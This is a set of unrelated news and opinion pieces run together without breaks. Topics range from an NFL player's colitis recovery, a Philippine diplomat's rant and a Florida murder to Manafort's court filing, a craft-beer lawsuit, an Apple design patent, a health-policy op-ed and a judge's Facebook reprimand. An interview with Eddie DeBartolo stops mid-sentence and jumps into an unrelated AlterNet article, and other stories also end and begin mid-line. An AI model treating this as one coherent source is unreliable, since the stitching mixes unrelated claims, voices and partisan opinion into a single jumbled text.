"Last year, I didn't want to eat anymore," Mauti said this week, as the Saints prepared to face the rival Atlanta Falcons in a high-stakes Christmas Eve showdown. "It was so painful."
A year after going on injured reserve to have his large intestine surgically removed, the 27-year-old has a lot to be thankful for this holiday season.
Mauti has become a triumphant figure to those who have ulcerative colitis or similar inflammatory digestive tract diseases that make everyday life uncomfortable -- never mind playing professional football.
Not only has Mauti managed to rehabilitate his body well enough to perform in the NFL, but he also has overcome the embarrassment that might dissuade one from talking freely about having to go to the bathroom more than 20 times a day, or about his regular fear of besmirching his uniform on the field during a game, or about what it was like to work out while wearing a colostomy bag.
"It is personal, but look, once you go through what I've been through, I can put my pride aside if I know that it's helping people," said Mauti, who also recalled the awkwardness of having to abruptly leave meetings at Saints headquarters to run to the bathroom. "The response that I've gotten is overwhelming, people just pouring their heart out, saying how much it has helped them or just inspired them."
While Mauti didn't make it back onto New Orleans' opening week roster out of training camp, he forged ahead with his workout regimen and was re-signed Oct. 17. He has been a regular on special teams -- where he made his mark with a blocked punt against Atlanta two seasons ago -- and has increasingly rotated in on defense.
"It's nothing short of remarkable he's back on the field," said Mauti's father, former Saints receiver Rich Mauti. "As a parent, I'm even taken aback."
The elder Mauti sounds equally impressed by his son's candor about his digestive issues.
"It's a tough thing to talk about. For him to come out was very, very difficult," Rich Mauti said. "There are a lot of people out there who have it and you would never know. There are a lot of people suffering with it, so he's going to have a tremendous impact."
Michael Mauti first discovered his condition, which is often hereditary, while playing at Penn State. But controlling it with medication became increasingly tricky because ulcerative colitis tends to be exacerbated by stress.
"The NFL is not like the most calm, relaxed place," said Rich Mauti, who played six seasons with New Orleans (1977-83) and one with the Washington Redskins (1984). "The stress factor can be off the charts."
Michael Mauti recalled flare ups during training camp each year, first with Minnesota in 2013 and 2014 before joining the Saints. While he was still playing last season, he sought intravenous fluids every day there was a practice or game to minimize the need for eating or drinking. He'd spend hours in the hospital on Mondays and Tuesdays, often in rooms filled with cancer patients, getting I.V. drip medication in hopes of minimizing his immune system's attacks on his colon.
Finally, he sought a colonoscopy, at which time he learned he could no longer put off surgery, forcing him to confront a possible end to his NFL career. He was already thinking about a backup plan, taking real estate classes at the time he started rehabilitating with the hope of playing again.
Mauti has had three surgeries -- the most recent in April -- to first remove his large intestine and ultimately reshape and reattach his small intestine to give him a semblance of a digestive tract. To have a shot at being invited back to training camp, he had to start working out before all three surgeries were complete, which meant training with a colostomy bag.
"It was just embarrassing," Mauti recalled. "It was just a constant maintenance deal. I was so fed up with it."
He texted videos of his workouts to Saints coach Sean Payton, who was eager to give Mauti a chance in training camp, but couldn't justify keeping him on the roster when the regular season began.
"One of the challenges is removing the emotions from the roster decisions -- and that was the case in both situations when he was released and when he was signed," Payton said.
Without his large intestine, Mauti still has more frequent and sometimes more painful bowel movements than people with fully functioning digestive systems. To reduce complications, he avoids acidic foods such as tomatoes. He said he treats his digestive system like that of a toddler in that he avoids too many ingredients at once.
Baked chicken or salmon are OK. But an enticing bowl of gumbo? Forget it.
"Most people around the country may not realize how tough that is to do in New Orleans," Rich Mauti quipped.
Michael Mauti conceded that on rare occasions he eats what he wants, "but I know, still, I'm going to pay the price."
Through trial and error, the 6-foot-2 Mauti has adopted a diet that has helped him keep his weight steadily around 235 all season, giving him hope that he might prolong his NFL career. He's also sleeping better and getting through meetings and games without worrying about being in pain or bathroom emergencies.
"I feel better than I've ever felt in my career," Mauti asserted.
On top of that, he's playing meaningful snaps for his hometown team during a playoff push.
"It's been an amazing ride," Mauti said. "When it's all done we'll sit back and reflect, and it'll be emotional for sure."MANILA, Philippines—He is sorry for behaving the way he did, but said he was unjustly provoked during a very tiring day at work.
Jose Ampeso, the Philippine consul general to Vancouver, apologized Thursday for any offense his videotaped rant may have caused but gave the excuse that he was provoked by a Filipino-Canadian offering “to give a measly dollar” to his mission’s fund drive for typhoon victims in the Philippines.
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“The video alone is not sufficient to draw any reasonable conclusions from, one way or the other. Hence, it is unfair and unjust to use it to malign my character,” said Ampeso, a career diplomat for the past three decades, serving in various overseas posts.
In a statement on Thursday, Ampeso claimed the 28-second video “does not tell the whole story” about his run-in with a Filipino who was applying to renew his passport during the Vancouver mission’s passport renewal outreach program in Alberta, Canada, on April 19.
Insults and ridicule
Ampeso said the passport applicant “insulted me and poked fun at being requested to make a donation to the Philippine National Red Cross (PNRC).”
“That’s why I became so agitated while explaining to him that if he had to give anything at all, it has to come from the heart for the typhoon victims. It was purely voluntary,” he said.
“And definitely, it was not a requirement for a passport application or rendition of any other consular services, contrary to what some allege. Thus, any allegation or insinuation that we were forcing people to give is entirely untrue,” he said.
The passport applicant, the Edmonton-based Proceso Flordeliz Jr., wrote an account of his encounter with Ampeso in a Filipino online forum. He said Ampeso became angry when he offered to donate only a dollar to the fund-raiser, and threatened to disregard his passport renewal application.
Flordeliz began recording Ampeso right after that encounter and caught the apparently drunk consul general speaking angrily to other Filipino passport applicants, at times slurring his words.
The 28-second video clip, captioned “Rude, arrogant, drunk consul. More fun in the Philippines!,” was posted on the YouTube video-sharing website, inviting widespread comment and the recall of Ampeso by the Department of Foreign Affairs (DFA).
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But was he drunk?
Ampeso denied being rude or arrogant at the event. His statement, however, did not address the question of whether or not he was drunk.
“Please take note that this incident took place at about 4 p.m. I was visibly tired after continuously assisting hundreds of passport applicants in the front of the line that afternoon, ending in fact until 10:30 p.m. on that day,” he said.
He said he instructed a volunteer to help Flordeliz despite their earlier confrontation.
“Be that as it may, I apologize to anyone whom I may have offended. I assure you that I had only the best intentions in reacting in that manner,” Ampeso said.
Common practice
The DFA said it had recalled Ampeso to the home office to explain his behavior. He is due to arrive in Manila early next week.
DFA spokesman Assistant Secretary Raul Hernandez said the collection of voluntary donations from members of the Filipino community was a common practice among Philippine missions abroad, especially during times of calamities.
Ampeso explained that funds collected during the Alberta outreach program “are fully recorded” and “will be remitted soonest in full to the PNRC.”
The Alberta incident is not the first time that Ampeso has had a brush with controversy. Luli Arroyo, the daughter of former President Gloria Macapagal-Arroyo, accused Ampeso of sexual harassment when the Philippines hosted the Asia-Pacific Economic Cooperation leaders’ summit in 1996.
Ampeso also denied the allegations. The administrative charges were dropped after the diplomat apologized to Arroyo both in writing and in person.
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MOST READFT. LAUDERDALE (CBSMiami) – Joan Luciano said she is devastated over the murder of her daughter, Jeanine. But what haunts the 84-year-old is the phone call she says she received from the killer — her daughter’s longtime domestic partner, Michele McCann — in the moments after the fatal shooting.
“‘Are you happy? Your daughter’s dead. I shot her and it’s your fault,'” Luciano said McCann told her. “And she started cursing.”
Joan says she immediately called 911. Police say McCann shot Jeanine Luciano once in the face in the bathroom of the Plantation home the couple shared, killing her.
“If you say you love somebody, how could you kill them?” Joan said.
Joan Luciano says her daughter Jeanine was a nurse. She said Jeanine was with McCann for decades although the couple had separated for times in the past few years. Joan says McCann had trouble with alcohol and little by little pulled Jeanine away from her family.
“She’s a real control freak and took all of Jeanine’s friends away from her,” Joan told CBS 4’s Carey Codd. “Totally alienated (them) from her.”
On Monday, McCann appeared in court charged with murder. She was wearing a self-protection smock reserved for inmates on suicide watch. Judge John Hurley ordered McCann held without bond.
According to the police report, “When police arrived McCann said, ‘It took you long enough.'” When asked about the shooting McCann told police, “I had no choice, put up with her.” When asked if any of the blood on her clothing was hers, McCann replied “No, I (expletive) shot her. She’s in the front bedroom,” according to the report.
Investigators said the couple was arguing over “relationships” prior to the shooting.
A neighbor who’s know McCann for most of her life believes McCann changed after suffering a head injury in an industrial accident several years ago.
“A high pressure hose came loose and hit her,” said Elise Judy, a neighbor. “It was a very serious accident and I think she was never the same after that.”
But Jeanine Luciano’s mother says McCann’s problems go deeper than that. She says McCann forced her daughter to keep her family at arm’s length, like micromanaging the time she spent with her family at the holidays. She says McCann should be punished for what she admitted doing.
“I hope and pray she stays in jail forever,” she said. “I’m sorry she didn’t shoot herself afterwards but this way she’ll suffer more.”Blue Moon is a craft beer now. Budweiser is a craft beer. You’re a craft beer. Everything is craft beer for now.
That’s the de facto ruling from a U.S. District Court now that a class action lawsuit has been dismissed attempting to call out MillerCoors for labeling Blue Moon (which they produce at a rate of over 70 million barrels a year) a craft beer.
Judge Gonzalo Curiel wants a better template for what does and does not constitute a craft beer before he says Blue Moon—or Bud Light Lime, for that matter—can’t allude to itself as being craft brewed in advertising.
This conflict has been long brewing (sorry), as a growing number of small brewers try to distinguish their product from the nameless (and arguably tasteless) products of larger companies. “Craft” was supposed to be the term of endearment, as well as a piece of jargon (like Champagne or “bottled in bond”) that set certain standards of production quality and rarity—standards the big guys have no interest in pursuing if they can avoid it.
Losers of the class action suit include the idea of clear labeling standards, and the Brewers Association, which considers a beer craft only if it (a) “Produce[s] less than 6 million barrels of beer annually; (b) [is] less than 25 percent owned or controlled by a non-craft brewer; and (c) Make[s] beer using only traditional or innovative brewing ingredients.”
The lawsuit, filed in California by lead plaintiff Evan Parent, alleged that Blue Moon was conspicuously over-priced in comparison with the rest of the MillerCoors portfolio, that it does not meet requirements agreed upon by the Brewers association, and that it misleads customers by disguising the ownership.
Judge Curiel denied that last claim, referring to the company’s website where it is clearly labeled. He also rejected a claim that Blue Moon’s grocery store shelf placement (mixed in with all the craft brews) has misleading intent.
This is excellent news for MillerCoors—and for Budweiser, whose hatred for the craft beer world’s success has grown as their own market share has slipped in recent years. The bile toward smaller brewers came to a head in February this year, when a tone-deaf Super Bowl ad benched the puppies and clydesdales for a “middle finger to the critics” approach.
It’s worth mentioning that one of the top comments on that video (which has a 9:1 ratio of dislikes to likes) calls the famous beer “carbonated horse piss.” The commented went on to say “I’ll stick to my local brew, thank you very much.”
That’s the way most people feel. A Wall Street Journal story last winter put Budweiser’s market share at half of what it was a decade ago. That same story put the amount that younger consumers are spending on the craft beer category at one and a half times that over people over 30, meaning that the next generation is far more dedicated to seeking out craft beer to drink.
Without clear labeling to stand behind, the little guys are going to have to find a new way to clear up the confusion among budding beer connoisseurs. The major players: InBev and MillerCoors among them, could effectively place “craft” labels on every product tomorrow morning.
Which isn’t to say the fight is over. Though the initial claim by Parent was rejected, the judge gave him and the other plaintiffs time to rephrase their claim, so there’s still a chance that we could see a legal precedent set eventually.The legal team representing President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's former campaign chairman, Paul Manafort, responded on Thursday to special counsel Robert Mueller's request not to release him from house arrest, arguing that an opinion piece Manafort worked on with a Kremlin-linked associate did not violate a gag order.
Manafort's attorney said in a court filing that Manafort did not seek to influence the ongoing Russia probe as the FBI investigative team claims, but instead wanted to set the record straight in Ukraine where he had previously conducted business.
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"The Special Counsel’s Opposition — devoid as it is of both legal analysis and legal precedents — claims that Mr. Manafort has engaged in wrongdoing when all he has tried to do is to correct the public record in Ukraine concerning his consulting activities in Ukraine," the attorney wrote in the filing, which was shared by BuzzFeed reporter Zoe Tillman.
"There is nothing in the draft op-ed that would 'pose a substantial material likelihood of prejudice to this case,' " the filing says.
Manafort's lawyer also pushed back against the stipulations of the gag order.
"In the Special Counsel’s view, Mr. Manafort is apparently never allowed to set the factual record straight once an order under Local Criminal Rule 57.7(c) is entered, nor is he allowed to openly maintain his innocence. He must simply remain silent while his reputation is battered, and potential jurors in this District might be tainted. Fortunately, the fundamental right of freedom of speech is not abrogated because a U.S. citizen is charged with a crime," the filings say.
His defense team also argued that Manafort never intended to publish the op-ed in the United States, where Mueller's investigation, as well as multiple congressional probes, are looking into possible Russian interference in the 2016 presidential campaign.
"The op-ed was to appear in a newspaper published, not in the United States, but in Kiev, Ukraine," Manafort's counsel wrote, adding that the draft is now a published article in the Kyviv Post, a Ukrainian newspaper.
"It was intended to be, and has been, published in a Ukrainian newspaper, the Kyviv Post," his attorney said.
His attorney's efforts come after a prosecutor on Mueller's team asked a federal judge to deny Manafort's request to release him from house arrest because of an op-ed he allegedly ghostwrote with an associate tied to Russian intelligence.
The prosecutor argued that the earlier deal he reached with Manafort's attorney about his house arrest status should be denied because of his attempt to influence the case, according to court filings made public on Monday.
“Even if the ghostwritten op-ed were entirely accurate, fair, and balanced, it would be a violation of this Court’s November 8 Order if had had been published," the prosecutors wrote in a court filing.
“The editorial clearly was undertaken to influence the public’s opinion of defendant Manafort, or else there would be no reason to seek its publication (much less for Manafort and his long-time associate to what write it in another’s name),” they continued, while only identifying the associate as someone based in Russia.
While Manafort’s counsel did not directly deny Manafort’s involvement in the draft, his counsel noted that Oleg Voloshyn, a former top Ukrainian official, authored the draft op-ed. Bloomberg News reported Tuesday that Voloshyn asked Manafort to weigh in with his advice on the written piece.When the Pro Football Hall of Fame class of 2012 is announced Saturday, finalist Eddie DeBartolo Jr. might not be watching NFL Network.
DeBartolo, 65, has a prior engagement which could interfere with the announcement: The flag football game of his 8-year-old grandson, Asher.
Yes, more than a decade removed from his legendary 23-season run as the 49ers owner, DeBartolo’s schedule, in some ways, still revolves around football.
His devotion to the 49ers netted quite a haul: five Super Bowl trophies, 13 division titles and 16 playoff appearances in his final 18 years at the helm. That’s not a bad Hall-of-Fame platform on which to stand. And it might earn DeBartolo induction into Canton, particularly in a year in which there are no slam-dunk inductees among the 15 modern-day finalists.
There are questions, of course, about how Hall-of-Fame voters will view DeBartolo’s abrupt exit from the NFL in 1999. After pleading guilty in federal court for failing to report a bribe request, DeBartolo was fined $1 million and suspended from the league for a year. During his suspension, the family reorganized its business operations and his sister, Denise DeBartolo York, assumed control of the 49ers.
Today, DeBartolo lives in Tampa, Fla., and is CEO of DeBartolo Holdings LLC, which is involved in money management, real estate and sports entertainment, among other interests.
I spoke with DeBartolo this week in advance of Saturday’s announcement of this year’s Hall-of-Fame class:
Q: Where will you be when the Hall of Fame class is announced Saturday?
ED: I have a flag-football game with my eldest grandson, my 8-year-old. I hope that it will be over. I’m obviously very humbled that we have gotten to this point. I don’t know what’s going to transpire Saturday. I have no high expectations, but because of my career in San Francisco and my players, my coaches, my fans, I’m just thrilled beyond belief. Just to be among that 15.
Q: You will be a spectator – not playing in the flag-football game?
ED: Yes, yes (laughing). It’s just flag football. But he was in the backyard at his parent’s home last night and he was going out for a pass from his father and he ran into a tree and he had to go to the hospital for an X-ray. Oh my god, when it rains, it pours. But he’ll be in the lineup. He’s not on IR. He’s a really good athlete.
Q: Were you surprised to be a Hall of Fame finalist?
ED: Absolutely. I was totally surprised. I was flabbergasted to be honest with you and I was humbled beyond belief. Your life kind of flashes before you, at least my 23 years, my football life. And I start thinking about Bill. And I start thinking about all our players and coaches and out front-office people. A lot of things go through your mind, including the great fans that I have a kinship with. I’m just very humbled.
Q: Carmen Policy said no one else was interested in hiring Bill Walsh when you hired him. Your dad wasn’t sold on him. At that time, did it take guts to hire Walsh?
ED: Not really. I was sold on Bill. I interviewed him at a hotel in downtown San Francisco. I was sold on him right away. I had no qualms about him being the first person for the job.
Q: Why were you sold on him?
ED: We hit it off right away. Our initial meeting, when he was hired, didn’t take longer than 15 minutes. I guess you could say, we talked about family, we talked about his ideas for the organization. How he ran the Stanford program and what he foresaw with the 49ers. I was just very impressed with him and the way he was. It was almost like love at first sight.
Q: You helped convince Walsh to keep coaching when he wanted to become general manager after the 1982 season …
ED: He had gone through some tough times and he was thinking about his situation. We had some pretty serious conversations and I think that Bill was kind of torn. He had spent his entire life in coaching. And I think that he probably, at that time, and we’re going back many years, he probably figured that maybe he’d had enough. But we talked it out. And I told him that life was much better on the inside than the outside. We talked like civilized men. I think we even had a drink over it.
Q: You were viewed as a trailblazer among modern owners due your generosity with players and emphasis on creating a family atmosphere. Was that just your personality, instincts, or did someone model that ownership style for you?
ED: I think I took that from the way we treated our employees in Youngstown. I think that it was something that my father started years ago. We had 600 employees in Youngstown and we considered each and every one of them a member of our family. If someone was ill in their family, we knew it. If somebody had a problem, they could come to us |
AlterNet, including America’s democracy and voting rights, campaigns and elections, and many social justice issues. Originally published on Alternet.
The organizers behind Millennials for Bernie are raising money to create an anti-Trump [and for what?] movement headquarters in Washington DC that will be a base for sustained resistance against the next president and his administration.
“This house is supposed to be a place for everybody, regardless of what happened in the general election, to come together and fight,” said Moumita Ahmed, whose organizing helped millennials become involved in Sanders’ campaign and is setting up the house. “We are going to be there to hold him accountable and delegitimize literally everything that he is doing and not let him succeed.”
“Some of the things that are going to happen in this house are workshops, people coming in and talking about big organizing,” she continued. “We’re going to have parties. We’re going to have rallies that are going to be organized there. These are just basic ideas, but we know that once this house is available that people will come in and want to do more creative forms of resistance.”
Like Sanders’ campaign, the project is seeking $27 donations and is about halfway to its initial $30,000 goal, to set up the house before Trump’s January 20 inauguration. They are calling it the District 13 House, named after the rebellious province in The Hunger Games, the dystopian book and movie series featuring a world run by oligarchs.
“We’re going to be there to sustain resistance against this administration,” Ahmed said. “We feel that the Trump administration is totally illegitimate, because of the way that he ran his campaign, and how he won, and even though mainstream media will say things like, ‘Oh, he just said those things, but obviously now that he is in office we think that some of the things he said aren’t going to fly.’ While that might be true or might not be true, we don’t know yet—that does not matter. You do not run that kind of campaign, especially for some of us, who were on a campaign where Bernie specifically said, ‘Do not attack the other person.’ [Trump’s] entire campaign wasn’t just attacking Hillary, but literally every single ethnic group out there.”
“We have a long tradition of people involved in resistance movements, and setting up intentional spaces to work out of. It’s incredibly helpful and supportive on a number of levels,” said Nadine Bloch, a longtime Washington-based activist and training director for BeautifulTrouble.org. “I see my role as supporting the folks who will live there and will take on the daily actioneering, if you will. I am really excited to be in that role and be with the young folks who will be living in the house.”
New Challenges, New Progressive Movement
Organizers like Ahmed—talented young women of color—were among the unsung grassroots heroes of the Sanders campaign, say Becky Bond and Zack Exley, who headed the campaign’s digital outreach efforts and have detailed the experience in a new book, Rules for Revolutionaries. Months before Sanders launched his campaign, Ahmed quit her day job to help establish a technology-driven team that eventually empowered volunteers to build and manage an infrastructure that made 75 million phone calls, sent 8 million text messages and held more than 100,000 public meetings, all described in the book.
“Moumita and other volunteers are demonstrating the power of big organizing,” Bond said. “When the Bernie campaign shut down, that didn’t mean their organizing would be shut down, too. These volunteers were connected to each other via Facebook, Twitter, and other platforms that allowed them not just to communicate but organize and raise money both in social media but also in person in real life—and soon in an actual row house on Capitol Hill.”
Ahmed, 26, grew up in New York and said she’s always been politically attuned. She first got involved in campaigns when Barack Obama ran for president in 2008, but learned how to be an organizer with Zephyr Teachout’s 2014 campaign for governor in New York state, where she was deputy field director.
“When you’re an activist, you understand what’s happening. You have a lot to say about it. You’ll go to events and you’ll advocate for change,” Ahmed said. “But organizers are people who have this larger goal, even sometimes a smaller goal. They are the ones that are most of the times behind the scenes, and most of the time organizing protests or a campaign, building networks, and just holding the space or activists together. Organizers are like chess players.”
Months before Sanders formally announced his bid for president, Ahmed started organizing social media presence and meet-ups for Sanders around the country. When the campaign launched, those volunteers and organizers became its state-by-state staff. Perhaps her biggest contribution, however, was creating Millennials for Bernie, because she said no other candidate was speaking in a way that reached people age 30.
“He understood that we were living in times like the ‘60s when people were rising up and talking about racial justice issues, and taking to the streets, and going on Twitter and getting their vote heard collectively. And you had two candidates, multiple candidates totally ignoring that reality, versus Bernie who understood,” Ahmed said. “I felt that if I were to start a millennial contingent that it would work. A lot of people would be on board. And it was true. Most of Bernie’s staffers were millennials. Most of his grassroots were led by millennials. I just wanted to create something so that people know millennials are active, that we’re pursuing stuff.”
Ahmed spent a year organizing for the campaign, which culminated in being a delegate at the Democratic National Convention. After Clinton emerged with the nomination, the group Ahmed created decided not to endorse anyone, but just work in individual ways for the rest of the campaign. She said millennials are “very pragmatic” and have “very progressive values,” and the protest house she is creating in Washington will be a reflection of that ethic as it pushes back against Trump’s agenda and policies. “We are going to be like the people’s White House,” she said. “And we are going to be right there in front of him so we stick out like a sore thumb.”
The group doesn’t yet have a Capitol Hill residence, but they are fundraising and looking at several locations. Meanwhile, older progressive organizers in Washington are hoping that people around the U.S. will support the District 13 House, and more importantly, see that white middle-class America now finds itself in the same vulnerable boat communities of color have been in for years.
“I actually see something interesting because I have been involved for a long time,” Nadine Bloch said. “When people might say to us, particularly let’s say white middle-class folks, might say, Oh my god, this is the worst thing ever. You or I have to respond, Well, if you’re a black person, if you’re a trans person, if you’re a black and trans person, you have been been living with the worst thing forever. It has been this bad and it will continue to be this bad unless the people who are now awake, mostly middle-class white folks who have now awakened to how bad it is or might become, actively join the struggle to overcome these problems and to change it.”
“Projects like this, where you have dedicated activists 24-7, providing leadership in what can actually make a difference in stopping the aggressive degrading of the rights and the privileges and the health and the safety that we hold dear…that is hopeful,” Bloch said. “We have to be willing to do the work and dig in.”On Tuesdays, the US Patent and Trademark Office publishes all of the patents granted for the week, and this week that list included a series of patents issued to Apple — 19 to be exact. Among those patents was one that many around the web have labeled as the MacBook Air patent. Actually, that's not the case at all. The subject patent is US D654,072 and it simply doesn't cover the overall design of the MacBook Air.
With design patents, it's all about the aesthetics shown in the drawings (there isn't any real written description of the invention) and, more importantly, how those design features are specifically drawn. It's terribly nerdy, but it's worth examining in this case, so let's take a look at the main drawings, and what these drawings actually afford Apple in patent protection.
Here are a couple of representative drawings from the 'D072 patent that tell the real story:
Under US patent law, and the law of most other countries, the dashed lines in design patent drawings provide context, but do not at all define what is patented. Only the structures depicted in solid lines provide insight into the patented feature. You can see from the drawings above that the only thing that is shown in solid lines is the front feet of the notebook. The rest is pretty and contextual, but otherwise meaningless.
Oddly enough, this particular design patent really only covers the specific look of the front feet. That may seem even more bizarre than a patent on the MacBook Air, but that's what we've got here. To the extent we're concerned about whether or not Ultrabook manufacturers can work around this patent, there's at least one solid alternative: don't include those types of front feet on the notebooks — controversy avoided.Editor’s note: This is an amplified version of an op-ed that originally appeared in the Wall Street Journal on October 3, 2017.
The policy proposition of the Affordable Care Act was to increase the number of people with health insurance by expanding government programs and subsidizing private insurance premiums. It did so by expanding eligibility for government insurance programs and regulatory authority over U.S. health care via new mandates, regulations, and taxes. The two major elements of the law—a significant Medicaid expansion for non-disabled adults and subsidies for exchange-based private insurance—will each be funded with almost $1 trillion of taxpayer money over a decade, according to a January 2017 CBO analysis.
The harmful effects of this ill-conceived approach are now well documented: Insurance premiums have skyrocketed; many insurers have withdrawn from the state marketplaces; and for those with coverage, doctor and hospital choices have narrowed dramatically. The ACA will also undoubtedly accelerate the development of the kind of two-tiered health care system characteristic of other nationalized systems, where people with money or power are able to circumvent the substandard government systems that the lower classes must endure. The result will be an end to the superior access, broad freedom of choice, and exceptional quality of care that distinguishes American health care from the centralized systems that are failing the world over.
The direct path to broadening access to American medical care rests on reducing the cost of care itself. This can be accomplished without restricting its use or creating obstacles to the use of development drugs and technology, and by avoiding the way that governments regulate costs in single-payer systems. Decreasing the cost of medical care requires creating conditions long proven to bring down prices while improving quality: incentivizing empowered consumers to seek value, increasing the supply of medical care, and stimulating competition among providers.
But is it realistic to suppose that people will factor in the price as they choose medical care? Aside from emergency care, which represents only six percent of health expenditures, the answer is a resounding yes. Among privately insured adults under age 65, almost 60 percent of all expenditures is for elective outpatient care, only 20 percent is for inpatient care, and 21 percent is for medications. Likewise, 60 percent of Medicaid money is spent on outpatient care. Even among the elderly, almost 40 percent of expenses are for outpatient care. Of the top one percent of spenders, the group responsible for more than 25 percent of all health spending at an average of $100,000 per person per year, a full 45 percent is also outpatient. Outpatient services dominate America’s health spending, and these are amenable to price-conscious purchasing.
Below are three key reforms to reduce the cost of medical care.
First, incentivize and equip consumers to consider price.
Consumers must first and foremost have strong incentives to consider price when seeking medical care, yet the Affordable Care Act was highly counterproductive in this regard. The ACA’s broad coverage requirements and imprudent subsidies encouraged more widespread adoption of bloated insurance and perpetuated the misguided idea that insurance should minimize out-of-pocket payment for all medical care. With patients having little incentive to consider value, prices and doctor qualifications remain invisible, and providers don’t need to compete on price. The consequences are the overuse of health care and unrestrained expenditures.
For consumers to incorporate price into decisions to buy health care, they must pay directly for more of their own care, and they must also personally gain from paying less. Motivation by patients to consciously seek value and save money is the essential lever to force competition among health care providers.
One critical piece of the puzzle is widely available high deductible insurance plans (HDHPs). Higher deductibles necessitate direct patient payment for care up to the deductible. A second highly effective tool to motivate patients to consider price is large, liberalized health savings accounts (HSAs). These tax-sheltered accounts grow by contribution or investment and are generally used to pay for non-catastrophic expenses, which form the bulk of medical care. Better than tax deductions, HSAs introduce something unique—they incentivize saving.
The data reinforces that large HSAs with HDHPs motivate patients to consider prices more than they otherwise would. The spending of patients with HDHPs paired with HSAs decreased at least 15% annually, according to a March 2015 study. When people have savings to protect in HSAs, the cost of care comes down without harmful impact on health. More than one-third of the savings by enrollees in such coverage reflected value-based decision-making by consumers. According to a Health Affairs report, system-wide health expenditures would fall by an estimated $57 billion per year if even half of Americans with employer-sponsored insurance enrolled in plans combining HSAs with high deductibles.
HDHP premiums are typically less expensive, but ACA regulations counterproductively raised their premiums and limited their availability. My analysis of Employer Health Benefits Annual Survey data shows that premiums for HDHPs rose from two to five times faster than premium increases for any other type of coverage after ACA passage. Excessive coverage mandates that make HDHPs more expensive should be rolled back—including Obamacare’s “essential benefits” that increased premiums by almost 10%, and the 2,270 state coverage mandates for everything from acupuncture to marriage therapy. To make HDHPs even more affordable, we should remove the ACA’s 3:1 age rating that raised premiums for younger enrollees by 19-35%, many of whom would buy lower premium coverage.
To maximally drive down the price of care, HSAs should be available to all Americans, including seniors on Medicare, given that seniors are the biggest users of health care. Because life expectancy from age 65 has increased by 25% since 1972, today’s seniors need to save for decades of future health care. Raising maximum contributions at least to those of IRA limits is one important step, as well as permitting tax-sheltered rollovers to surviving family members. HSA payments should also be allowed for the expenses of the holder’s elderly parents.
The visibility of information that patients require for assessing value must also be radically improved. Data from magnetic resonance imaging (MRI) and outpatient surgery show that introducing price transparency encourages price comparisons by patients. Patients also need to have adequate information to assess quality, such as doctor qualifications and experience. The most compelling motivation for doctors and hospitals to post prices and qualifications would be their understanding that they are suddenly competing for price-conscious patients empowered with control of their money.
Second, strategically increase the supply of medical care to stimulate competition.
The supply of medical care must be significantly yet strategically increased, so patients have options to seek out the best value for their money. Simultaneously, archaic obstacles to competition among medical care providers must be eliminated.
We need to simplify the credentialing requirements and remove outmoded scope-of-practice limits on qualified nurse practitioners and physician assistants. Private clinics staffed by NPs and PAs can provide cheaper primary care, including vaccinations, blood pressure monitoring, and dispensing common drugs. In a 2011 review, 88% of visits to retail clinics involved simple care, which is 30-40% cheaper than the care provided at physicians’ offices and about 80% cheaper than that of emergency departments, and it comes with high levels of satisfaction.
Increasing specialist supply is also critical. Medical school graduation numbers have stagnated for almost 40 years and estimates show that by 2025, there will be a shortage of 124,000 doctors nationwide—about two-thirds of that shortage being in specialists. Medical societies harm consumers by protectionist residency limits that artificially restrict competition, a practice that should be publicly scrutinized. Additionally, national MD licensing should replace non-reciprocal state licensing, especially to facilitate access to high quality interstate telemedicine.
Separately, archaic barriers to medical technology impede competition and raise prices. Although originally intended to “restrain health care facility costs,” the certificate-of-need requirements for such things as adding MRI scanners are another example of bureaucratic overregulation with harmful unintended consequences. Such requirements are still in place in 34 states, Puerto Rico, and the District of Columbia.
Third, introduce the right incentives into the tax code.
The tax code plays an important role in realigning consumer incentives to put downward pressure on prices. The unlimited income exclusion for health expenses created harmful, counterproductive incentives. It encouraged higher demand for care, regardless of cost, while distorting insurance into covering almost all services. Similarly, premium subsidies in the ACA and the tax credits proposed by the GOP artificially prop up high insurance premiums for bloated coverage that minimizes out-of-pocket payment. This prevents patients from caring about prices, thereby reducing the incentives for doctors and hospitals to compete on price. If health care deductions or exclusions are maintained, the tax code should first cap them. Additionally, tax reform should eliminate counterproductive incentivizes that ultimately limit the consideration of price and value of medical care. That means limiting eligibility of deductions to HSA contributions and catastrophic premiums, rather than blanket deductions for health care expenses.
Conclusions
In other countries, governments hold down health care costs mainly by limiting the use of medical care, drugs, and technology through power as the single payer. The expected results are documented long waits and worse medical outcomes, particularly for the poor and middle class, who are unable to circumvent those systems. America’s elected officials who base policy on facts rather than emotional assertions, anecdotes, and wishful thinking must educate the public on the benefits of a different approach—leveraging incentives with commonsense deregulation to reduce prices. This is the best pathway to broaden access to high quality care for all Americans, including the poor and the elderly.
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Scott W. Atlas is the David and Joan Traitel Senior Fellow at Stanford’s Hoover Institution and the author of Restoring Quality Health Care: A Six Point Plan for Comprehensive Reform at Lower Cost (Hoover Press, 2016).Here's a great way to end your week. Straight from PAX East in Boston comes this 6-minute video showing off Diablo III for PlayStation 4 running in 1080p at 60fps. The video features commentary from Blizzard senior producer Julia Humphreys and senior level designer Matthew Berger.
The PS4 version of Diablo III, titled the Ultimate Evil Edition, was announced during BlizzCon 2013 in November. It includes the main game and its Reaper of Souls expansion.
The video also touches on some of the game's new features, like its Mail, Player Gifts, and Nemesis systems, as well as the Apprentice Mode. We also learn in the video that Diablo III for PS4 will include all of the PC patches, which means the game will be "very finely tuned," Berger said.
Blizzard has not announced a release date for Diablo III: Ultimate Evil Edition for PS4. An Xbox One version is currently in development, but Blizzard is not sure if it will ever be released. Already reached level 70 in Diablo III? Check out GameSpot's guide to understanding its endgame content.A Texas judge is challenging a state panel's decision reprimanding her for posting Facebook updates about trials she was presiding over.
The State Commission on Judicial Conduct ordered Michelle Slaughter, a Galveston County judge, to enroll in a four-hour class on the "proper and ethical use of social media by judges." The panel concluded that the judge's posts cast "reasonable doubt" on her impartiality.
At the beginning of a high-profile trial last year in which a father was accused of keeping his nine-year-old son in a six-foot by eight-foot wooden box, the judge instructed jurors not to discuss the case against defendant David Wieseckel with "anyone."
"Again, this is by any means of communication. So no texting, e-mailing, talking person to person or on the phone or on Facebook. Any of that is absolutely forbidden," the judge told jurors.
But Slaughter didn't take her own advice, leading to her removal from the case and a mistrial. The defendant eventual was acquitted of unlawful-restraint-of-a-child charges.
The judge told local media Friday that her Facebook posts about the "Boy in the Box" case and others were unbiased.
